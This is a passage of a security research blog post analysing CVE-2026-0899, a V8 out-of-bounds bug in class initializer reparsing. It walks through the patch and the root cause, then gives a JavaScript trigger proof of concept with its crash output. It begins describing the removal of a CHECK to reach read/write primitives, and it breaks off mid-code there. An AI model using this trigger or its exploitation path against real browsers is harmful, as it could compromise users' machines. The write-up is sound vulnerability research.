## TL;DR
In January 2026, the Chrome Releases blog announced several security fixes across different Chrome components. One entry caught our attention: **CVE-2026-0899**, an Out-of-Bounds memory access in V8 discovered by @p1nky4745.
Vulnerabilities in V8, especially OOB and Type Confusions are always interesting from a security research perspective. We decided to take a closer look. At the time of writing, the issue was still restricted and no public proof-of-concept was available. After reverse engineering the patch fix, we identified the root cause of the vulnerability and developed a trigger PoC.
Triggering the bug alone was not enough; we wanted to see how far it could go. During our exploitation attempts, we encountered a stubborn `CHECK` standing directly in our path. We were equally stubborn, so we removed the `CHECK` and tried again. This time, the vulnerability became exploitable, eventually yielding arbitrary read/write primitives.
This post documents our journey reproducing, analyzing, and exploiting CVE-2026-0899, under the guidance of Nguyễn Hoàng Thạch (@hi_im_d4rkn3ss).
## Introduction
CVECVE-2026-0899ImpactHighAffected ProductsV8 JS Engine within Google Chrome and other productsBug IDscrbug-458914193Patchhttps://chromium-review.googlesource.com/c/v8/v8/+/7203465
We first came across **CVE-2026-0899** in the January 2026 Chrome Releases blog, where it was described as an **Out-of-Bounds memory access in V8**. The bug was reported by @p1nky4745, who also mentioned discovering it with a custom fuzzer.
A quick look at the patch revealed that the vulnerability lived in V8’s class member initializer reparsing logic. At the time of writing, however, there was no public proof-of-concept available, and the corresponding Chromium issue remained restricted.
This made the bug even more interesting. With only the patch to work from, we set out to reverse-engineer the fix, understand the root cause, and craft our own **trigger PoC**.
## Reversing the Patch
The patch is available here. Let’s examine the different changes that were made. The patch introduces two new `FunctionKind` variants to encode ordering:
– `kClassMembersInitializerFunctionPrecededByStatic`
– `kClassStaticInitializerFunctionPrecededByMember`
It also adds helpers `IsClassInstanceInitializerFunction` and `IsClassStaticInitializerFunction`, and broadens `IsClassInitializerFunction` to cover all four kinds. [1][2]
“`
inline bool IsClassInstanceInitializerFunction(FunctionKind kind) { return base::IsInRange( kind, FunctionKind::kClassMembersInitializerFunction, FunctionKind::kClassMembersInitializerFunctionPrecededByStatic); // [1] } inline bool IsClassStaticInitializerFunction(FunctionKind kind) { return base::IsInRange( kind, FunctionKind::kClassStaticInitializerFunction, FunctionKind::kClassStaticInitializerFunctionPrecededByMember); // [2]
“`
In parser-base.h, `EnsureStaticElementsScope` and `EnsureInstanceMembersScope` now choose the appropriate `FunctionKind` based on whether the other type already exists, thereby recording ordering in the scope’s kind. [3] [4]
“`
DeclarationScope* EnsureStaticElementsScope(ParserBase* parser, int beg_pos, int info_id) { if (!has_static_elements()) { FunctionKind kind = has_instance_members() ? FunctionKind::kClassStaticInitializerFunctionPrecededByMember // [3] : FunctionKind::kClassStaticInitializerFunction; static_elements_scope = parser->NewFunctionScope(kind); static_elements_scope->SetLanguageMode(LanguageMode::kStrict); static_elements_scope->set_start_position(beg_pos); static_elements_function_id = info_id; // Actually consume the id. The id that was passed in might be an // earlier id in case of computed property names. parser->GetNextInfoId(); } return static_elements_scope; } DeclarationScope* EnsureInstanceMembersScope(ParserBase* parser, int beg_pos, int info_id) { if (!has_instance_members()) { FunctionKind kind = has_static_elements() ? FunctionKind::kClassMembersInitializerFunctionPrecededByStatic // [4] : FunctionKind::kClassMembersInitializerFunction; instance_members_scope = parser->NewFunctionScope(kind); instance_members_scope->SetLanguageMode(LanguageMode::kStrict);
“`
Crucially, `ParseClassForMemberInitialization` now pre-allocates the “other” scope when the initializer kind indicates it was preceded by the other type, ensuring the correct ID is reserved before parsing proceeds. Additionally, `ResetInfoId` was updated to accept an initial value, simplifying ID management. [5]
“`
if (initializer_kind == FunctionKind::kClassMembersInitializerFunctionPrecededByStatic) { class_info.EnsureStaticElementsScope(this, kNoSourcePosition, -1); // [5] } else if (initializer_kind == FunctionKind::kClassStaticInitializerFunctionPrecededByMember) { class_info.EnsureInstanceMembersScope(this, kNoSourcePosition, -1); }
“`
What does all this mean? This V8 patch fixes a parsing issue with JavaScript classes that have both `instance` fields and `static` blocks mixed together. When V8 lazily compiles `class initializers`, it needs to maintain the correct order of function literal IDs. When `instance` and `static` initializers are interleaved, reparsing one initializer could disrupt the ID ordering.
The patch adds two new `FunctionKind` variants in the parser to encode this ordering information, along with helper functions to identify them. It now uses these variants when creating scopes, choosing the appropriate kind based on whether the other initializer type already exists. Most importantly, when reparsing a specific initializer, V8 now pre-allocates the scope for any preceding initializer type to preserve the correct ID sequence. To understand the vulnerability better, let’s examine how the bug manifests in the older code with some examples.
## Understanding Class Member Reparsing
V8 basically synthesizes two functions per class: an `instance` members initializer and a `static` elements initializer. During initial parsing, sequential `function_literal_id` values are assigned to track these synthetic functions. When lazy compilation later reparses one initializer, it must restore the exact ID-to-scope mapping. The parser’s `ParseFunction` detects class initializer functions via `IsClassInitializerFunction` and dispatches to `ParseClassForMemberInitialization` for special handling because the initializer’s source range corresponds to the entire class body.
“`
// src/parsing/parser.cc if (V8_UNLIKELY(IsClassInitializerFunction(function_kind))) { // Reparsing of class member initializer functions has to be handled // specially because they require reparsing of the whole class body, // function start/end positions correspond to the class literal body // positions. result = ParseClassForMemberInitialization( function_kind, start_position, function_literal_id, end_position, info->function_name()); …
“`
Before the patch, `FunctionKind` only had `kClassMembersInitializerFunction` and `kClassStaticInitializerFunction`, which did not encode whether the other initializer type appeared earlier in source order (basically it didn’t distinguish between field orderings). Consequently, `IsClassMembersInitializerFunction` treated both orderings identically.
“`
// src/objects/function-kind.h inline bool IsClassInitializerFunction(FunctionKind kind) { return base::IsInRange( kind, FunctionKind::kClassMembersInitializerFunction, FunctionKind::kClassStaticInitializerFunctionPrecededByMember); } inline bool IsClassInstanceInitializerFunction(FunctionKind kind) { return base::IsInRange( kind, FunctionKind::kClassMembersInitializerFunction, FunctionKind::kClassMembersInitializerFunctionPrecededByStatic); } inline bool IsClassStaticInitializerFunction(FunctionKind kind) { return base::IsInRange( kind, FunctionKind::kClassStaticInitializerFunction, FunctionKind::kClassStaticInitializerFunctionPrecededByMember); }
“`
During reparsing of, say, the instance initializer ( `ID-1`), if a static block lexically precedes some instance field, the parser would Allocate the static scope with the next available ID ( `ID-2`). Later, upon encountering an instance field, it would lazily allocate a new instance scope with the next ID ( `ID-3`), because the instance scope for `ID-1` had not been pre-allocated. This caused the instance initializer to be associated with `ID-3` instead of `ID-1`, breaking the ID-to-function mapping (ID-mismatch). When V8 later looked up a function literal by the original `ID-1` (thinking it’s the instance initializer), it accessed an incorrect or out-of-bounds slot, leading to OOB Access.
Let’s look at this using an example. Consider the PoC class:
“`
class BugTrigger { static { this.f1 = () => 1; this.f2 = () => 2; } // Static block l1 = () => 3; // Instance field l2 = () => 4; // Instance field static { this.f3 = () => 5; } // Static block l3 = () => 6; // Instance field }
“`
During initial parse, V8 assigns:
– Instance members initializer: `ID-1`
– Static elements initializer: `ID-2`
When reparsing the instance initializer ( `ID-1`), the parser must ensure the static scope ( `ID-2`) is pre-allocated if it lexically precedes instance fields. The pre-patch code failed to do this.
When the instance initializer ( `ID-1`) undergoes reparsing, parser first processes the first `static {}` block. It allocates static scope with the next available ID ( `ID-2`), which is correct. Parser continues and encounters `l1`, `l2` instance fields. Since no instance scope exists yet, it lazily allocates one with `ID-3`. This creates a mismatch as we discussed earlier since the instance scope should have `ID-1`, not 3. So if V8 incorrectly creates a new instance initializer in slot 3, and then it later tries to access slot 1, it’s actually reading whatever happens to be at that memory location, which could be anything, leading to out-of-bounds access.
## Triggering the Effects of Interleaving
With the root cause understood, we started writing a trigger PoC. We checked out the vulnerable version and built V8 using the default configs.
For the PoC, we basically define a class with interleaved static blocks and instance fields containing lambdas, which create additional function literal IDs. We then get the initializer function via the runtime `%GetInitializerFunction`, flush its bytecode with `%ForceFlush` to force lazy recompilation, and finally construct a new instance. This sequence causes V8 to reparse one of the initializers lazily. Because the class has intertwined static/instance members, the reparsing logic misallocates IDs as described earlier, leading to an OOB access during function literal lookup resulting in a crash.
This is PoC we came up with:
“`
// PoC for CVE-2026-0899 // V8 Out-of-Bounds Memory Access in Class Member Initializer Reparsing // // Tested on: V8 pre-patch (commit:5fe2cfe7e423b378d71ee096910458289d0873d6) // Command: ./out/x64.debug/d8 –allow-natives-syntax –trace-flush-code poc.js // // Crash output (expected): // # Fatal error in ../../src/objects/script.cc, line 37 // # Check failed: result->StartPosition() == function_literal->start_position() // class BugTrigger { // Static blocks with lambdas – creating function literal IDs static { this.f = () => 1; } // Instance fields with lambdas l = () => 3; // More static static { this.f2 = () => 5; } // More instance l2 = () => 6; } // Initial parse and execution let b = new BugTrigger(); print(“Initial run – Lambdas:”, b.l(), b.l2()); print(“Static funcs:”, BugTrigger.f(), BugTrigger.f2()); // Using Runtime Functions // Trigger lazy recompilation by flushing bytecode (only for initializer function of the Class) let init = %GetInitializerFunction(BugTrigger); %ForceFlush(init); // Create new instance – triggers reparsing with ID mismatch -> CRASH let b2 = new BugTrigger(); print(“After flush:”, b2.l(), b2.l2());
“`
Running this on the debug version, we get a crash which looks like this.
“`
Initial run – Lambdas: 3 6 Static funcs: 1 5 # # Fatal error in ../../src/objects/script.cc, line 37 # Check failed: result->StartPosition() == function_literal->start_position() (1419 vs. 1700). # # # #FailureMessage Object: 0x7ffee78185a8 ==== C stack trace =============================== … … # Omitted Call trace … Trace/breakpoint trap
“`
## Can we Checkmate without a CHECK?
There is a nasty roadblock we need to cross before we even get to the exploitation part. The crash results in a `CHECK` failure which is also present in the release version, so V8 catches the ID mismatch immediately and crashes out, thereby cutting off the exploit process.
Since we were too stubborn to give up (and we wanted to see how V8 would react if the CHECK was, let’s say, missing), we attempted to comment out the `CHECK` statements to see if we could silently trigger the bug without the crash. For this, we commented out these 3 lines:
“`
# src/objects/script.cc template MaybeHandle Script::FindSharedFunctionInfo( DirectHandle
